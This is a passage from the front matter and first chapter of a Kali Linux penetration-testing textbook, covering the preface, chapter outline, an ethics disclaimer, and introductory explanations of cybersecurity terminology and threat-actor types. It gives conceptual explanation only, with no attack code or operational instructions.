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Preface
When breaking into the cybersecurity industry, specifically in the ethical hacking and penetration testing 
fields, you will often hear about the famous Linux distribution known as Kali Linux. Kali Linux is a pene-
tration testing Linux distribution that is built to support the needs of cybersecurity professionals during 
each phase of a penetration test. As a cybersecurity author, lecturer, and industry professional, I’ve heard 
from many people within the cybersecurity and information technology industries, and even from students, 
about the importance of finding a book that guides the reader to thoroughly understand how to perform 
penetration testing from beginner to advanced level using a step-by-step approach with Kali Linux. This 
was the motivation and inspiration behind creating the ultimate book that will be easy to understand for 
everyone and help all readers to become proficient and develop new skills while using the latest tools and 
techniques.

Over the years, I’ve researched and created a lot of cybersecurity-related content, and one of the most 
important things about being both a red and blue teamer (offensive and defensive) is always staying up to 
date on how to discover the latest security vulnerabilities and understanding the Tactics, Techniques, and 
Procedures (TTPs) that are commonly used by cybercriminals. As a result, ethical hackers and penetration 
testers need to be equipped with the latest knowledge, skills, and tools to efficiently discover and exploit 
hidden security vulnerabilities on their targets’ systems and networks, with the intent of helping organi-
zations reduce their attack surface and improve their cyber defenses. During the writing of this book, I’ve 
used a student-centric and learner-friendly approach, helping you to easily understand the most complex 
topics, terminologies, and why there is a need to test for security flaws on a system and network.

This book begins by introducing you to the mindset of a threat actor such as a hacker and comparing a 
hacker’s mindset to that of penetration testers. It’s important to understand how a threat actor thinks and 
what is most valuable to them. While penetration testers may have a similar mindset to a hacker, their 
objective is to discover and help resolve the security vulnerabilities before a real cyber attack occurs on an 
organization. Furthermore, you will learn how to create a lab environment using virtualization technolo-
gies to reduce the cost of buying equipment. The lab environment will emulate a network with vulnerable 
systems and web application servers. Additionally, a fully patched Windows Active Directory lab has been 
created to demonstrate the security vulnerabilities found within a Windows domain, where you will learn 
how to compromise Active Directory services.

You will soon learn how to perform real-world intelligence gathering on organizations using popular tools and 
strategies for reconnaissance and information gathering. Learning ethical hacking and penetration testing 
would not be complete without learning how to perform vulnerability assessments using industry-standard 
tools. Furthermore, you will spend some time learning how to perform exploitation on common security 
vulnerabilities. Following the exploitation phase, you will be exposed to post-exploitation techniques and 
learn how to set up Command and Control (C2) operations to maintain access on a compromised network 
to expand your foothold as a penetration tester and exfiltrate data from a compromised host.

You will learn how to perform Active Directory enumeration and exploitation, as many organizations have 
a Windows environment running Active Directory. 
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You will learn how to abuse the trust of Active Directory and take over a Windows domain by creating a 
golden ticket, a silver ticket, and a skeleton key. Furthermore, wireless attacks are included to help aspiring 
penetration testers gain the skills needed to test for security vulnerabilities on wireless networks, such as 
exploiting the WPA3 wireless security standard. Finally, the last section includes techniques for discovering 
and exploiting web applications and performing social engineering techniques and procedures.

In this edition, the procedures for building virtual lab environments have been improved and made easier 
to understand and follow as a beginner. A new and dedicated chapter on Open Source Intelligence (OSINT) 
focuses on collecting and analyzing publicly available information on targeted systems, networks, and or-
ganizations to develop a profile of intelligence that can be exploited during penetration testing. The theory 
and practical labs were improved throughout the entire book, and new labs on web application and social 
engineering were included.

By completing this book, you will be taken through an amazing journey from beginner to expert in terms 
of learning, understanding, and developing your skills in ethical hacking and penetration testing as an 
aspiring cybersecurity professional within the industry.

Who this book is for
This comprehensive book is meticulously designed for a diverse audience. It caters to the needs of students 
who are venturing into the field, trainers who are looking for reliable content to impart knowledge, lecturers 
who wish to supplement their curriculum with up-to-date information, and IT professionals who need to 
stay abreast of the latest in the industry. Furthermore, it is an excellent resource for anyone who harbors 
an interest in understanding the intricacies of ethical hacking, penetration testing, and cybersecurity.

The book has been crafted to serve dual purposes. It can be used as a self-study guide for those who prefer 
to learn at their own pace, and it can also be integrated into classroom-based training for a more structured 
learning experience. The topics covered are far-reaching and cover the essentials of the field, including 
discovering and exploiting security vulnerabilities, ethical hacking techniques, and learning penetration 
testing strategies and procedures.

The book is not limited to beginners who are new to the field of cybersecurity. It also provides sophisticated 
content that would intrigue and educate even a seasoned professional within the industry. The book offers a 
balance of theoretical knowledge and practical insights, making it a valuable resource for everyone. There’s 
a wealth of knowledge to be gained from this book, irrespective of your experience level in the field.

Moreover, the book also provides the hands-on experience needed to get started as an ethical hacker and 
a penetration tester. It aims to not only impart knowledge but also encourage the practical application of 
this knowledge in real-world scenarios. This practical approach enhances the learning experience and 
prepares the reader to face the real-world challenges of cybersecurity.

What this book covers
Chapter 1, Introduction to Ethical Hacking, introduces the reader to the concepts ethical hacking and pene-
tration testing tactics and strategies while providing insights into a hacker’s mindset.

Chapter 2, Building a Penetration Testing Lab, focuses on providing the practical skills for using virtualiza-
tion technologies to efficiently build a personalized lab environment to safely practice ethical hacking and 
penetration testing while exploring new skills.
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Chapter 3, Setting up for Advanced Penetration Testing Techniques, covers how to set up an enterprise Active 
Directory environment and wireless network for learning how to identify and exploit security vulnerabilities 
within organizations’ infrastructure.

Chapter 4, Passive Reconnaissance, introduces the reader to passive reconnaissance and how to reduce their 
threat level when collecting information about a target during penetration testing.

Chapter 5, Exploring Open Source Intelligence, focuses on teaching the reader how to collect and analyze 
publicly available information to develop a profile about a target and weaponize the collected intelligence.

Chapter 6, Active Reconnaissance, teaches the reader how to perform active reconnaissance techniques to 
collect sensitive information from targeted systems and networks.

Chapter 7, Performing Vulnerability Assessments, focuses on performing vulnerability assessments on targeted 
systems and networks using free and open-source vulnerability management tools in the industry.

Chapter 8, Understanding Network Penetration Testing, introduces the reader to the fundamentals of network 
penetration testing, anti-malware evasion techniques, and working with wireless network adapters.

Chapter 9, Performing Network Penetration Testing, focuses on host discovery, identifying and exploiting vul-
nerabilities on Windows, and Linux-based systems, and performing online and offline password-cracking 
techniques.

Chapter 10, Post-Exploitation Techniques, introduces the reader to common post-exploitation techniques 
to expand their foothold on a compromised host, use lateral movement to identify additional targets on a 
different subnet, and perform data exfiltration from a compromised machine.

Chapter 11, Delving into Command and Control Tactics, introduces the reader to Command and Control (C2) 
operations and explores how C2 helps penetration testers with remote manipulation from their compro-
mised targets on a network.

Chapter 12, Working with Active Directory Attacks, focuses on discovering and exploiting the trust relationships 
in an Active Directory environment.

Chapter 13, Advanced Active Directory Attacks, explores advanced Active Directory penetration testing tech-
niques and procedures, such as performing lateral and vertical movement and taking over the entire Win-
dows domain environment.

Chapter 14, Advanced Wireless Penetration Testing, introduces the reader to wireless communication and how 
penetration testers can identify and exploit security vulnerabilities within enterprise wireless networks.

Chapter 15, Social Engineering Attacks, focuses on understanding the principles of social engineering and 
techniques used by penetration testers to identify human-based vulnerabilities that can be exploited by 
real threat actors.

Chapter 16, Understanding Website Application Security, focuses on discovering the web application security 
risks that are described in the OWASP Top 10: 2021 list of security vulnerabilities.

Chapter 17, Advanced Website Application Penetration Testing, focuses on performing advanced web application 
security testing to discover and exploit security flaws.

Chapter 18, Best Practices for the Real World, provides guidelines for aspiring ethical hackers and penetration 
testers to ensure that, after completing this book, you have a wealth of valuable knowledge and can adapt 
to good practices within the industry.
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To get the most out of this book
• It’s recommended that you have a solid foundation in networking concepts such as general knowl-

edge of common network, and application-layer protocols from the Transmission Control Protocol/
Internet Protocol (TCP/IP) network model.

• You should have a solid understanding of network infrastructure and devices, such as the role and 
function of routers, switches, firewalls, and other security solutions such as antimalware and threat 
detection systems.

• This book leverages virtualization technologies to ensure readers can construct a free lab environment 
on their personal computers, and so prior knowledge of virtualization concepts will be beneficial.

Download the example code files
The code bundle for the book is hosted on GitHub at https://github.com/PacktPublishing/The-
Ultimate-Kali-Linux-Book-3E. We also have other code bundles from our rich catalog of books and 
videos available at https://github.com/PacktPublishing/. Check them out!

Download the color images
We also provide a PDF file that has color images of the screenshots/diagrams used in this book. You can 
download it here: https://packt.link/gbp/9781835085806.

Conventions used
There are a number of text conventions used throughout this book.

CodeInText: Indicates code words in text, database table names, folder names, filenames, file exten-
sions, pathnames, dummy URLs, user input, and Twitter handles. For example: “Mount the downloaded 
WebStorm-10*.dmg disk image file as another disk in your system.”

A block of code is set as follows:

[default]
exten => s,1,Dial(Zap/1|30)
exten => s,2,Voicemail(u100)
exten => s,102,Voicemail(b100)
exten => i,1,Voicemail(s0)

When we wish to draw your attention to a particular part of a code block, the relevant lines or items are 
set in bold:

[default]
exten => s,1,Dial(Zap/1|30)
exten => s,2,Voicemail(u100)
exten => s,102,Voicemail(b100)
exten => i,1,Voicemail(s0)

https://github.com/PacktPublishing/The-Ultimate-Kali-Linux-Book-3E
https://github.com/PacktPublishing/The-Ultimate-Kali-Linux-Book-3E
https://github.com/PacktPublishing/
https://packt.link/gbp/9781835085806
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Any command-line input or output is written as follows:

# cp /usr/src/asterisk-addons/configs/cdr_mysql.conf.sample
     /etc/asterisk/cdr_mysql.conf

Bold: Indicates a new term, an important word, or words that you see on the screen. For instance, words 
in menus or dialog boxes appear in the text like this. For example: “Select System info from the Adminis-
tration panel.”

Disclaimer
The information within this book is intended to be used only in an ethical manner. Do not use any in-
formation from the book if you do not have written permission from the owner of the equipment. If you 
perform illegal actions, you are likely to be arrested and prosecuted to the full extent of the law. Neither 
Packt Publishing nor the author of this book takes any responsibility if you misuse any of the information 
contained within the book. The information herein must only be used while testing environments with 
proper written authorization from the appropriate persons responsible.

Get in touch
Feedback from our readers is always welcome.

General feedback: Email feedback@packtpub.com and mention the book’s title in the subject of your 
message. If you have questions about any aspect of this book, please email us at questions@packtpub.com.

Errata: Although we have taken every care to ensure the accuracy of our content, mistakes do happen. If 
you have found a mistake in this book, we would be grateful if you reported this to us. Please visit http://
www.packtpub.com/submit-errata, click Submit Errata, and fill in the form.

Piracy: If you come across any illegal copies of our works in any form on the internet, we would be grate-
ful if you would provide us with the location address or website name. Please contact us at copyright@
packtpub.com with a link to the material.

If you are interested in becoming an author: If there is a topic that you have expertise in and you are inter-
ested in either writing or contributing to a book, please visit http://authors.packtpub.com.

Warnings or important notes appear like this.

Tips and tricks appear like this.

http://www.packtpub.com/submit-errata
http://www.packtpub.com/submit-errata
http://authors.packtpub.com


Prefacexxii

Share your thoughts
Once you’ve read The Ultimate Kali Linux Book, Third Edition, we’d love to hear your thoughts! Please click 
here to go straight to the Amazon review page for this book and share your feedback.

Your review is important to us and the tech community and will help us make sure we’re delivering excellent 
quality content.

Download a free PDF copy of this book
Thanks for purchasing this book!

Do you like to read on the go but are unable to carry your print books everywhere?

Is your eBook purchase not compatible with the device of your choice?

Don’t worry, now with every Packt book you get a DRM-free PDF version of that book at no cost.

Read anywhere, any place, on any device. Search, copy, and paste code from your favorite technical books 
directly into your application.

The perks don’t stop there, you can get exclusive access to discounts, newsletters, and great free content 
in your inbox daily.

Follow these simple steps to get the benefits:

1. Scan the QR code or visit the link below:

https://packt.link/free-ebook/9781835085806

2. Submit your proof of purchase.

3. That’s it! We’ll send your free PDF and other benefits to your email directly.

https://www.packtpub.com/
https://www.packtpub.com/
https://packt.link/free-ebook/9781835085806


1
Introduction to Ethical Hacking

Cybersecurity is one of the most exciting and rapidly growing fields in the world. Each day, security 
professionals and researchers are discovering new and emerging threats at an increasing rate, and 
many organizations are discovering that their systems and networks have been compromised by 
malicious actors, while there are so many other companies without proper cyber defenses to detect 
threats and determine whether their assets have been compromised or not. Due to the increase in 
cyber-attacks and threats around the world, more cybersecurity-related jobs are being created with-
in many organizations that seek to acquire industry experts and skilled professionals who can help 
improve their cyber defenses and safeguard their assets from cyber criminals. This book is designed 
with the intention of providing you with the skills, knowledge, and wisdom that are needed by aspiring 
ethical hackers and penetration testers for the cybersecurity industry.

During the course of this book, you will develop new skills and learn techniques for simulating re-
al-world cyber-attacks on systems and networks as a cybersecurity professional with the intent to 
discover hidden security vulnerabilities within organizations, while understanding the Tactics, Tech-
niques, and Procedures (TTPs) used by real attackers to compromise their targets. In addition, you will 
learn how to leverage one of the most popular Linux distributions within the cybersecurity industry, 
Kali Linux, to perform ethical hacking and penetration testing assessments on targeted systems and 
network infrastructure. The Kali Linux operation system has tons of pre-installed Linux packages (ap-
plications) and security tools that are commonly used by industry experts, hence it’s an arsenal packed 
with everything you’ll need as an ethical hacker and penetration tester. Throughout this book, we’ll 
be using a student-centric and learner-friendly approach, filled with a lot of practical and hands-on 
exercises to help you gradually progress from beginner-friendly to intermediate and advanced topics.

In this chapter, you will learn about various types of threat actors and the intentions/motives behind 
their attacks on targets. You will discover how various key factors play an important role for attackers 
when planning a cyber-attack, and how such factors determine the level of complexity to compro-
mise a targeted system, network, or organization as compared to cybersecurity professionals such 
as ethical hackers and penetration testers who are hired to discover hidden vulnerabilities within a 
company. Furthermore, you will learn about the various phases of ethical hacking and penetration 
testing approaches that are commonly used by industry professionals. 
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Lastly, you will gain a solid understanding of how the Cyber Kill Chain framework is used to help 
cybersecurity professionals to better understand cyber-attacks, and how each phase can be aligned 
with penetration testing techniques.

In this chapter, we will cover the following topics:

• Understanding the need for cybersecurity
• Exploring the importance of penetration testing
• Identifying threat actors and their intent
• Understanding what matters to threat actors
• Exploring the importance of penetration testing
• Penetration testing methodologies
• Discovering penetration testing approaches
• Types of penetration testing
• Exploring the phases of penetration testing
• Understanding the Cyber Kill Chain framework

I hope you’re as excited as I am to begin this awesome journey. Let’s dive in!

Understanding the need for cybersecurity
Cybersecurity focuses on protecting systems, networks, and organizations from specialized attacks 
and threats that are designed by cyber criminals with the intention to cause harm or damage. These 
cyber criminals are commonly referred to as threat actors. As time continues, more users and orga-
nizations are connecting their systems and networks to the largest network in the world, the internet, 
and cyber criminals are developing new strategies to steal money from potential victims.

For instance, many cyber criminals are developing more sophisticated threats, such as ransomware. 
Let’s use this example to underscore the importance of cybersecurity. Ransomware is a type of cryp-
to-malware that’s designed to encrypt all data found on a victim’s system, except the host operating 
system. The intention is to encrypt the victim’s most valuable asset on the compromised system, the 
data stored on local storage media, and request a ransom payment in the form of cryptocurrencies to 
obtain the decryption keys to recover the data. The longer the ransomware is on a compromised system, 
the ransomware agent could establish a Command and Control (C2) communication channel with one 
or more C2 servers that are owned and managed by cyber criminals to receive updates and additional 
instructions. The threat actor can push updates to the ransomware agent to frequently update the 
cryptographic keys that are used to encrypt the victim’s data – therefore, reducing the likelihood that 
the victim is able to safely recover their data from the ransomware. During this time, the threat actor 
is also exfiltrating the data found on the victim’s system and selling it on various marketplaces on the 
Dark Web to the highest bidder. Cyber criminals are intelligent; they are very aware that organizations 
know the value of data that is stored on their computers and servers, and will do almost anything to 
recover their data as soon as possible.
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From a cybersecurity perspective, it’s not recommended to pay the ransom as there’s no guarantee or 
reassurance that the threat actors will release the encrypted data or even provide the right decryption 
key to recover your data. It is important to note that threat actors are not only demanding ransom pay-
ment by encrypting data but also by threatening to expose organizational and customer sensitive data 
by releasing it or onto pastedump sites such as pastebin.com and to the media. This “doubling-down” 
on the pressure applied makes it difficult for victims not to cave into the ransomware gangs’ demands.

For instance, there are many organizations around the world with a reactive approach to cybersecurity, 
such that they will only react when their systems and network are compromised by a cyber-attack 
rather than implementing mitigation and countermeasures to prevent future threats. However, if an 
organization does not implement proper cyber defenses with an effective incident response plan, when 
ransomware compromises a vulnerable system within a network, it has the potential to automatically 
spread to other vulnerable systems within the organization to expand its foothold. Therefore, the 
longer it takes to contain/isolate the threat on the network, the more damage can be done.

Therefore, without cybersecurity professionals, researchers, and security solutions, many organiza-
tions and users are left unprotected from various types of threats. For instance, many banks provide 
an online banking system that enables their customers to perform various types of transactions such 
as making payments, transferring funds, and so on. Imagine if cyber criminals discovered weak se-
curity controls on a bank’s customer login portal and found a way to take advantage of the security 
weakness to gain unauthorized access to multiple customers’ accounts, steal their Personally Identi-
fiable Information (PII), and transfer funds out of their accounts. Therefore, safeguarding customer 
data is crucial, not only to protect individuals from immediate financial loss but also to prevent their 
information from being used in future cyber-attacks.

NOTE

Ransomware has the capability of also compromising the data stored in various cloud 
storage services that are linked to the infected system. For instance, imagine a user’s 
system has a cloud storage agent running to ensure the user’s data is constantly synchro-
nized. If the system is infected with ransomware, the infection will encrypt all data on the 
local storage drives, including those that are synchronized to the cloud service provider 
platform. However, various cloud storage providers have built-in protection against these 
types of threats.

NOTE

While working on the previous edition of this book, the technical reviewer, Mr. Rishalin 
Pillay, mentioned that during his time at Microsoft, he had seen how attackers “may” give 
the decryption key to victims; however, the threat actors mostly implant additional mal-
ware to return later for more cash gains. Essentially, the targeted organization becomes 
a “cash cow” for the threat actors (attacking group).
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In the next section, you will learn about common security-related terminology in the industry.

Exploring cybersecurity terminology
During your journey in the field of cybersecurity, you’ll discover the jargon and terminology that is 
commonly used within various research papers, articles, literature, discussions, and learning resources. 
As an aspiring cybersecurity professional, it’s important to be aware of and gain a solid understanding 
of common terminology and how it is related to ethical hacking and penetration testing.

The following are the most common terms used within the cybersecurity industry:

• Asset – Within the field of cybersecurity, we usually define an asset to be anything that has 
value to an organization or person. For instance, assets are systems within a network that can 
be interacted with and potentially expose an organization’s network infrastructure to security 
weaknesses that could be compromised and enable unauthorized access to a cyber criminal, 
while providing a way to escalate their privileges on the compromised system from standard 
user to administrator-/root-level privileges. However, it’s important to mention that assets are 
not and should not be limited to technical systems. In addition, other forms of assets include 
people (humans), physical security controls, and even the data that resides within the network 
and systems we aim to protect. Assets are commonly categorized as follows:

• Tangible – Tangible assets are simply described as any physical object with value, such 
as computers, servers, networking devices (routers, switches, etc.), and security appli-
ances (firewalls). Computers and other end devices help typical users and employees 
access the resources on a network and perform their daily duties within an organization. 
Servers are typically used to store and host applications and provide services that are 
needed within typical network infrastructures. Networking devices contain configura-
tions that are used to forward network traffic between systems, and security appliances 
are implemented to filter unwanted traffic and prevent threats between networks and 
systems. If these systems and devices are compromised, cyber criminals will be able 
to redirect network traffic to malicious websites that are owned by malicious actors 
and expand their operations.

• Intangible – Intangible assets are things without a physical form that have value, such 
as applications, software license keys, intellectual property, business plans and models, 
and data.

• People – This type of asset is the customers and employees of an organization. Protect-
ing customers’ data from being stolen and leaked on the Dark Web, and safeguarding 
employees from various types of threats are of paramount importance. It is important 
to identify all the assets of an organization and potential threats that can cause harm 
and damage to them.
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• Threat – In the context of cybersecurity, a threat is anything that has the potential to cause 
harm or damage to a system, network, or person. Whether you’re focusing on the offensive or 
defensive path in cybersecurity, it’s important to identify various types of threats. Many organi-
zations around the world encounter different types of threats each day, and cybersecurity teams 
work around the clock to ensure their company’s assets are safeguarded from cyber criminals.

One of the most exciting but also overwhelming aspects of cybersecurity is industry profes-
sionals always need to stay one step ahead of threat actors to quickly find security weakness-
es in systems, networks, and applications and implement countermeasures to mitigate any 
potential threats those assets.

• Vulnerability – A vulnerability is a security weakness or flaw that exists within a system that 
enables hackers to exploit it in order to gain unauthorized access or control over systems 
within a network. Common vulnerabilities that exist within organizations include human 
error (the greatest of vulnerabilities on a global scale), misconfiguration of devices, weak user 
credentials, poor programming practices, unpatched operating systems, outdated applications 
on host systems, default against configurations on systems, and so on. 

A threat actor usually looks for the lowest-hanging fruits such as the vulnerabilities that are 
the easiest to exploit on a targeted system. The same concept applies to penetration testing. 
During a security assessment, the penetration tester will use various techniques and tools to 
discover vulnerabilities and will attempt to exploit the easy ones before moving on to more 
complex security flaws on a targeted system.

• Exploit – An exploit is anything such as a tool or code that is used to take advantage of security 
vulnerabilities on a system. For instance, take a hammer, a piece of wood, and a nail. The 
vulnerability is the soft, permeable nature of the wood, the exploit is the act of hammering 
the nail into the piece of the wood, while the hammer is the threat. Once a security vulnera-
bility is found on a targeted system, the threat actor or penetration tester will either acquire 
an exploit from various online sources or develop one on their own that has the capability of 
taking advantage of the security weakness.

If you’ve acquired or developed an exploit, it’s important that you test the exploit on a system 
to ensure it has the capabilities to compromise the targeted system and works as expected. 
Sometimes, an exploit may work on one system and not on another. Hence, it’s a common 
practice that seasoned penetration testers will test and ensure their exploits are working as 
expected and graded on their rate of success for a vulnerability.

• Attack – An attack is simply a method or technique that is used by a threat actor to take advan-
tage of (exploit) a security vulnerability (weakness) within a system. There are various types of 
attacks that are commonly used by cyber criminals to compromise the confidentiality, integrity, 
and/or availability of a targeted system. For instance, the LockBit 3.0 ransomware focuses on 
exploiting the security vulnerabilities that are found on internet-facing systems that do not 
have their language settings configured to match a specific exclusion list. The attack launches 
ransomware on the internet; it will automatically seek and compromise vulnerable systems.
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• Attack vector – An attack vector is simply an area or pathway through which a targeted system, 
network, or organization can be compromised by a threat actor.

The following are common attack vectors:

• Direct access – Physical access to the targeted computer or network
• Wireless – Exploiting security vulnerabilities found within the target’s wireless network 

infrastructure
• Email – Sending malicious email messages containing links to malware-infected ser-

vices, fake websites, and malicious attachments
• Supply chain – Compromising the security of a vendor or supplier to gain access to 

a target
• Social media – Using deceptive messages or malicious advertising (malvertising) to 

trick the target into revealing sensitive information or downloading a malicious file
• Removable media – Connecting malware-infected media to the targeted system
• Cloud – Exploiting security vulnerabilities within cloud services and its infrastructure

These are the infrastructures in which an attacker can deliver a malicious payload to a target.

• Risk – Risk is the potential impact that a vulnerability, threat, or attack presents to the assets 
of an organization and the likelihood an attack or threat has to cause harm systems. Evalu-
ating risk helps to determine the likelihood of a specific issue causing a data breach that will 
cause harm to an organization’s finances, reputation, or regulatory compliance. Reducing 
risk is critical for many organizations. There are many certifications, regulatory standards, 
and frameworks that are designed to help companies understand, identify, and reduce risks.

While it may seem like ethical hackers and penetration testers are hired to simulate real-world 
cyber-attacks on a target organization, the goal of such engagements is much deeper than it 
seems. At the end of the penetration test, the cybersecurity professional will present all the 
vulnerabilities and possible solutions to help the organization mitigate and reduce the risk of 
a potential cyber-attack while reducing the attack surface of the company.

• Attack surface – This is all the vulnerable points of entry into a system, network, or organization 
that can be exploited by a threat actor to gain unauthorized access and expand their foothold 
on the network. Ethical hackers and penetration testers focus on identifying these vulnerability 
points of entry to determine the attack surface of an organization and how a cyber criminal 
would potentially exploit those weaknesses to compromise their target.

NOTE

To learn more about the LockBit 3.0 ransomware, please see the official Cyberse-
curity and Infrastructure Security Agency (CISA) advisory at https://www.cisa.
gov/news-events/cybersecurity-advisories/aa23-075a.

https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a
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• Zero-day – A zero-day is when a threat actor discovers a security vulnerability within a product 
or application and is able to exploit it before the vendor is either aware of the vulnerability 
or has time to develop a security patch to resolve the issue. These attacks are commonly used 
in nation-state attacks, Advanced Persistent Threat (APT) groups, and large criminal organi-
zations. The discovery of a zero-day vulnerability can be very valuable to ethical hackers and 
penetration testers and can earn them a bug bounty. These bounties are fees paid by vendors 
to security researchers who discover unknown vulnerabilities in their applications.

There are many bug bounty programs that allow security researchers, professionals, and 
anyone with the right skill set to discover security vulnerabilities within an application or 
system owned by a vendor and report them for a reward. The person who reports the security 
vulnerability, usually a zero-day flaw, is often given a financial reward. However, there are 
threat actors who intentionally attempt to exploit the targeted system for personal gain, which 
is commonly referred to as the hack value of the target.

So far, you have learned about the importance and need for cybersecurity within various industries 
around the world. Next, let’s learn about various types of threat actors and the motives behind their 
cyber-attacks.

Identifying threat actors and their intent
As an aspiring ethical hacker and penetration tester, it’s important to develop a good moral compass 
and understand the differences between various types of threat actors and the motives behind their 
cyber-attacks. Let’s take a closer look at the following list of common types of threat actors in the 
cybersecurity industry:

• Script kiddie – A script kiddie is a common type of threat actor who is not necessarily a young 
adult or kid. Rather, it is someone who does not fully understand the technical details of 
cybersecurity to perform a cyber-attack or develop a threat on their own. However, a script 
kiddie usually follows the instructions or tutorials of real hackers to perform their own attacks 
against a targeted system or network.

While you may think a script kiddie is harmless because the person does not have the required 
knowledge and skills, they can create an equal amount or more damage as real hackers, simply 
by following the instructions and tutorials of malicious actors on the internet. This type of 
hacker makes use of tools for which they do not know how they properly work, thus causing 
more harm and damage.

• Cyber terrorist – Cyber terrorists perform cyber-attacks that are designed to compromise com-
munication channels and systems, with the intention to cause enough damage and disruption 
to create fear and/or intimidate a targeted society to achieve an ideological goal.

• Hacktivist – Across the world, there are many social and political agendas in many countries, 
and there are many persons and groups who are either supportive or not supportive of these 
agendas. You will commonly find protesters who organize rallies and marches or even perform 
illegal activities such as the defacement of public property. 
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This is a type of threat actor who uses their hacking skills to perform malicious activities such 
as defacing websites or launching Denial of Service (DoS) attacks in support of a political or 
social agenda. While some hacktivists use their hacking skills for good reasons, keep in mind 
that hacking is still an illegal act and the threat actor can face legal action by law enforcement. 
Therefore, ethical hackers and penetration testers are required to obtain legal permission prior 
to performing any attacks on the target.

• Insider – Many threat actors know it’s more challenging to break into an organization through 
the internet and it’s easier to do it from within the targeted organization’s network. Some threat 
actors will create a fake identity and curriculum vitae with the intention of applying for a job 
within their targeted organization and becoming an employee; this threat actor is commonly 
referred to as a malicious insider. Once this type of threat actor becomes an employee, the person 
will have access to the internal network and gain better insights into the network architecture 
and security vulnerabilities of the company. Therefore, this type of threat actor can implement 
network implants on the network and create backdoors for remote access to critical systems.

In addition, there are unintentional insiders who are the legitimate employees of the organization 
who unintentionally cause harm to the organization’s systems and network due to negligence 
such as connecting a personal USB flash drive onto the organization’s computer.

• State-sponsored – This type of threat actor is commonly referred to as a nation-state actor. 
While many nations will send their army of soldiers to fight a war, many battles are now fought 
within cyberspace (including espionage, disruption, influence operations, and preparing the 
battlefield for potential physical conflicts); this is known as cyber warfare. Many nations have 
realized the need to develop and enhance their cyber defenses to protect their citizens, national 
assets, and critical infrastructure from cyber criminals and other nations with malicious intent.

Therefore, a government may hire state-sponsored hackers who are responsible for performing 
reconnaissance (intelligence gathering) on other countries and protecting their own country 
from cyber-attacks and emerging threats. Some nations use this type of threat actor to gather 
intelligence on other countries and even compromise the systems that control the infrastructure 
of public utilities or other critical resources. Keep in mind that state-sponsored threat actors 
are not only employed by governments but can also include groups or individuals funded, 
directed, or aligned and supported by national governments.

Note

Network implants can be software- or hardware-based. Software-based network 
implants are malicious code that is installed and running on a compromised system 
that enables the threat actor to remotely access and control the target. However, 
hardware-based network implants are physical devices that are directly connected 
to the target’s internal network, enabling the attacker to remotely connect to the 
hardware-based network implant and perform attacks. These network implants 
are commonly used for monitoring, control, and data exfiltration.
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• Organized crime – Around the world, we commonly read and hear about many crime syn-
dicates and organized crime groups. Within the cybersecurity industry, there are also crime 
organizations made up of a group of people with the same goals in mind. Each person within 
the group is usually an expert or has a specialized skill set, such as one person may be re-
sponsible for performing extensive reconnaissance on the target, including additional roles 
such as social engineering experts, network penetration specialists, malware analysts, money 
laundering specialists, and legal advisors. Each role contributes to the syndicate’s success by 
leveraging specific expertise.

When this level of effort and resources is brought to bear, the group becomes an APT. Within 
this organized crime group, there is usually a person who is responsible for financially funding 
the group to provide the best available resources money can buy to ensure the attack is suc-
cessful. The intention of this type of threat actor is usually big, such as stealing their target’s 
data and selling it for financial gain.

• Black hat – A black hat hacker is a threat actor who uses their hacking skills for malicious rea-
sons. This is a broad category; these hackers can be anyone and their reason for performing a 
hack against a targeted system or network can be random. Sometimes they may hack to destroy 
their target’s reputation, steal data, or even as a personal challenge to prove a point for fun.

• White hat – White hat hackers form another broad category, encompassing the industry’s 
good people. This type of hacker uses their skills to help organizations and people secure their 
networks and safeguard their assets from malicious hackers. Ethical hackers and penetration 
testers are examples of white hat hackers as these people use their skills to help others in a 
positive and ethical manner.

• Gray hat – A gray hat hacker metaphorically sits between the boundary of a white hat and a 
black hat hacker. This means the gray hat hacker has a hacking skill set and uses their skills 
to help people and organizations during the day as a cybersecurity professional but uses their 
skills at night for malicious reasons. As previously mentioned, ethical hackers and penetration 
testers have a good moral compass, but gray hat hackers go outside the good moral zone and 
may use their skills for malicious intentions.

With the continuous development of new technologies, the curious minds of many will always find 
a way to gain a deeper understanding of the underlying technologies of a system. This often leads to 
discovering security flaws in the design and eventually enabling a person to exploit the vulnerability. 
Having completed this section, you have discovered the characteristics of various threat actors and 
their intentions for performing a cyber-attack. Next, you will gain a deeper understanding of what 
matters to threat actors when planning a cyber-attack on a target.

Note

Cyber espionage involves the stealthy extraction of classified, sensitive, or propri-
etary information. This can include technological blueprints, government plans, 
or even personal information of key individuals.
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Understanding what matters to threat actors
From a cybersecurity perspective, hacking into a system or device has always been interesting and 
fascinating to many people around the world. Reverse engineering a system to better understand how 
it works has always attracted curious minds. Similarly, hacking focuses on gaining a better understand-
ing of how a system operates and functions, whether there are any flaws within its programming or 
design, and whether these security flaws can be exploited to alter the functionality of the system to 
enable the curious mind to take advantage of it.

However, before a cyber criminal launches any attack on a targeted organization, it’s important to plan 
the attack and evaluate the time and resources that are needed to perform the cyber-attack. Further-
more, the complexity of the attack and the hack value of the target help the threat actor determine 
whether it’s worth moving forward with the plan of attack or not.

Time
Determining the amount of time it will take from gathering information about the target to meeting 
the objectives of the attack is important. Sometimes, a cyber-attack can take a threat actor anything 
from days to a few months of careful planning to ensure each phase of the Cyber Kill Chain is success-
ful when executed in the proper order. We will discuss this further in the Understanding the Cyber Kill 
Chain framework section later in this chapter.

Threat actors also need to consider the possibility that an attack or exploit might not work on the tar-
geted system and this will create an unexpected delay during the process, which increases the time 
taken to meet the goals of the hack. The time to achieve objectives is not just about gaining access but 
also what happens afterward, such as maintaining persistence, lateral movement, and data exfiltration.

Similarly, this concept can be applied to both ethical hackers and penetration testers as they need to 
determine how long it will take to complete a penetration test for a customer and present a report 
with the findings and security recommendations to help the customer improve their security posture.

Resources
Without the right set of resources, it will be a challenge to complete a task. Threat actors need to 
have the right set of resources; these are software- and hardware-based tools. While skilled and sea-
soned hackers can manually discover and exploit security weaknesses in targeted systems, it can be 
a time-consuming process. However, using the right set of tools can help automate these tasks and 
improve the time taken to find security flaws and exploit them. Additionally, without the right skill set, 
a threat actor may experience some challenges in being successful in performing the cyber-attack. This 
can lead to seeking the support of additional persons with the skills needed to assist and contribute 
to achieving the objectives of the cyber-attack. Once again, this concept can be applied to security 
professionals such as penetration testers within the industry. Not everyone has the same skills and a 
team may be needed for a penetration test security assessment for a customer.
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Financial factors
Another important resource is financial factors. Sometimes a threat actor does not need any additional 
resources and can perform a successful cyber-attack and compromise their targets. However, there 
